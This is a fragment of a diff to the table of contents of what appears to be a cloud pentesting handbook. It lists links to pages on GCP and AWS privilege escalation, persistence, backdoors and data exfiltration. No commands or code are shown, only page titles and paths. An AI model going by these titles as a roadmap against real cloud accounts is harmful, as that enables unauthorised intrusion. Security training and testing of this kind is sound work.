- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -87,7 +84,6 @@
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
@@ -102,6 +98,7 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -110,7 +107,6 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
@@ -125,7 +121,6 @@
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -134,7 +129,6 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -144,7 +138,6 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -192,7 +185,6 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -224,139 +216,109 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
